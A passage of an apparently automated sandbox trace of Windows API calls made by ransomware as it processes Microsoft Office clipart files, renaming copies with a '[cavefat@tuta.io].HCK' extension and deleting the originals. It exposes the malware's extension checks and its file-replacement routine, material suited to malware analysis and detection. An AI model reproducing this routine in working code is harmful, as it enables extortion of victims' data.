lstrlenW (lpString=".ppt") returned 4 [0158.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString=".zip") returned 4 [0158.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.633] lstrlenW (lpString=".rar") returned 4 [0158.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.633] lstrlenW (lpString=".bz2") returned 4 [0158.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.633] lstrlenW (lpString=".7z") returned 3 [0158.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.633] lstrlenW (lpString=".dbf") returned 4 [0158.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.633] lstrlenW (lpString=".1cd") returned 4 [0158.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.633] lstrlenW (lpString=".jpg") returned 4 [0158.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.633] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.633] lstrlenW (lpString="FD00090_.WMF") returned 12 [0158.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.633] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14194) returned 1 [0158.633] CloseHandle (hObject=0x36c) returned 1 [0158.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0158.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.634] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.634] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.635] GetLastError () returned 0x0 [0158.635] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3772, lpOverlapped=0x0) returned 1 [0158.646] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3780, lpOverlapped=0x0) returned 1 [0158.647] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.647] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.648] SetEndOfFile (hFile=0x300) returned 1 [0158.648] CloseHandle (hObject=0x300) returned 1 [0158.649] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.649] SetEndOfFile (hFile=0x36c) returned 1 [0158.649] CloseHandle (hObject=0x36c) returned 1 [0158.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0158.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.650] lstrlenW (lpString=".doc") returned 4 [0158.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.650] lstrlenW (lpString=".docx") returned 5 [0158.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.650] lstrlenW (lpString=".pdf") returned 4 [0158.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.650] lstrlenW (lpString=".xls") returned 4 [0158.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.650] lstrlenW (lpString=".xlsx") returned 5 [0158.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.650] lstrlenW (lpString=".ppt") returned 4 [0158.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.650] lstrlenW (lpString=".zip") returned 4 [0158.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.650] lstrlenW (lpString=".rar") returned 4 [0158.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.650] lstrlenW (lpString=".bz2") returned 4 [0158.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.650] lstrlenW (lpString=".7z") returned 3 [0158.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.650] lstrlenW (lpString=".dbf") returned 4 [0158.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".1cd") returned 4 [0158.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".jpg") returned 4 [0158.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".doc") returned 4 [0158.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString=".docx") returned 5 [0158.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.651] lstrlenW (lpString=".pdf") returned 4 [0158.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString=".xls") returned 4 [0158.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.651] lstrlenW (lpString=".xlsx") returned 5 [0158.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.651] lstrlenW (lpString=".ppt") returned 4 [0158.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".zip") returned 4 [0158.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.651] lstrlenW (lpString=".rar") returned 4 [0158.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString=".bz2") returned 4 [0158.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString=".7z") returned 3 [0158.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".dbf") returned 4 [0158.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".1cd") returned 4 [0158.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0158.651] lstrlenW (lpString=".jpg") returned 4 [0158.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.651] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.651] lstrlenW (lpString="FD00096_.WMF") returned 12 [0158.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.652] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=37390) returned 1 [0158.652] CloseHandle (hObject=0x36c) returned 1 [0158.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0158.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.653] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.653] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.653] GetLastError () returned 0x0 [0158.653] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x920e, lpOverlapped=0x0) returned 1 [0158.655] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9210, lpOverlapped=0x0) returned 1 [0158.656] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.656] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.656] SetEndOfFile (hFile=0x300) returned 1 [0158.656] CloseHandle (hObject=0x300) returned 1 [0158.658] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.658] SetEndOfFile (hFile=0x36c) returned 1 [0158.658] CloseHandle (hObject=0x36c) returned 1 [0158.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0158.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.659] lstrlenW (lpString=".doc") returned 4 [0158.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString=".docx") returned 5 [0158.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.659] lstrlenW (lpString=".pdf") returned 4 [0158.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString=".xls") returned 4 [0158.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.659] lstrlenW (lpString=".xlsx") returned 5 [0158.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.659] lstrlenW (lpString=".ppt") returned 4 [0158.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.659] lstrlenW (lpString=".zip") returned 4 [0158.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.660] lstrlenW (lpString=".rar") returned 4 [0158.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString=".bz2") returned 4 [0158.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString=".7z") returned 3 [0158.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".dbf") returned 4 [0158.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".1cd") returned 4 [0158.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".jpg") returned 4 [0158.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".doc") returned 4 [0158.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString=".docx") returned 5 [0158.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.660] lstrlenW (lpString=".pdf") returned 4 [0158.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString=".xls") returned 4 [0158.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.660] lstrlenW (lpString=".xlsx") returned 5 [0158.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.660] lstrlenW (lpString=".ppt") returned 4 [0158.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".zip") returned 4 [0158.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.660] lstrlenW (lpString=".rar") returned 4 [0158.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString=".bz2") returned 4 [0158.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString=".7z") returned 3 [0158.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".dbf") returned 4 [0158.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".1cd") returned 4 [0158.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0158.660] lstrlenW (lpString=".jpg") returned 4 [0158.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.661] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.661] lstrlenW (lpString="FD00296_.WMF") returned 12 [0158.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.661] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15856) returned 1 [0158.661] CloseHandle (hObject=0x36c) returned 1 [0158.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0158.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.661] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.661] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.662] GetLastError () returned 0x0 [0158.662] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3df0, lpOverlapped=0x0) returned 1 [0158.663] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3e00, lpOverlapped=0x0) returned 1 [0158.664] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.664] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.664] SetEndOfFile (hFile=0x300) returned 1 [0158.664] CloseHandle (hObject=0x300) returned 1 [0158.665] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.665] SetEndOfFile (hFile=0x36c) returned 1 [0158.666] CloseHandle (hObject=0x36c) returned 1 [0158.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.666] lstrlenW (lpString=".doc") returned 4 [0158.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.666] lstrlenW (lpString=".docx") returned 5 [0158.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.667] lstrlenW (lpString=".pdf") returned 4 [0158.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".xls") returned 4 [0158.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.667] lstrlenW (lpString=".xlsx") returned 5 [0158.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.667] lstrlenW (lpString=".ppt") returned 4 [0158.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString=".zip") returned 4 [0158.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.667] lstrlenW (lpString=".rar") returned 4 [0158.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".bz2") returned 4 [0158.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".7z") returned 3 [0158.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString=".dbf") returned 4 [0158.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString=".1cd") returned 4 [0158.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString=".jpg") returned 4 [0158.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString=".doc") returned 4 [0158.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".docx") returned 5 [0158.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.667] lstrlenW (lpString=".pdf") returned 4 [0158.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".xls") returned 4 [0158.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.667] lstrlenW (lpString=".xlsx") returned 5 [0158.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.667] lstrlenW (lpString=".ppt") returned 4 [0158.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.667] lstrlenW (lpString=".zip") returned 4 [0158.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") 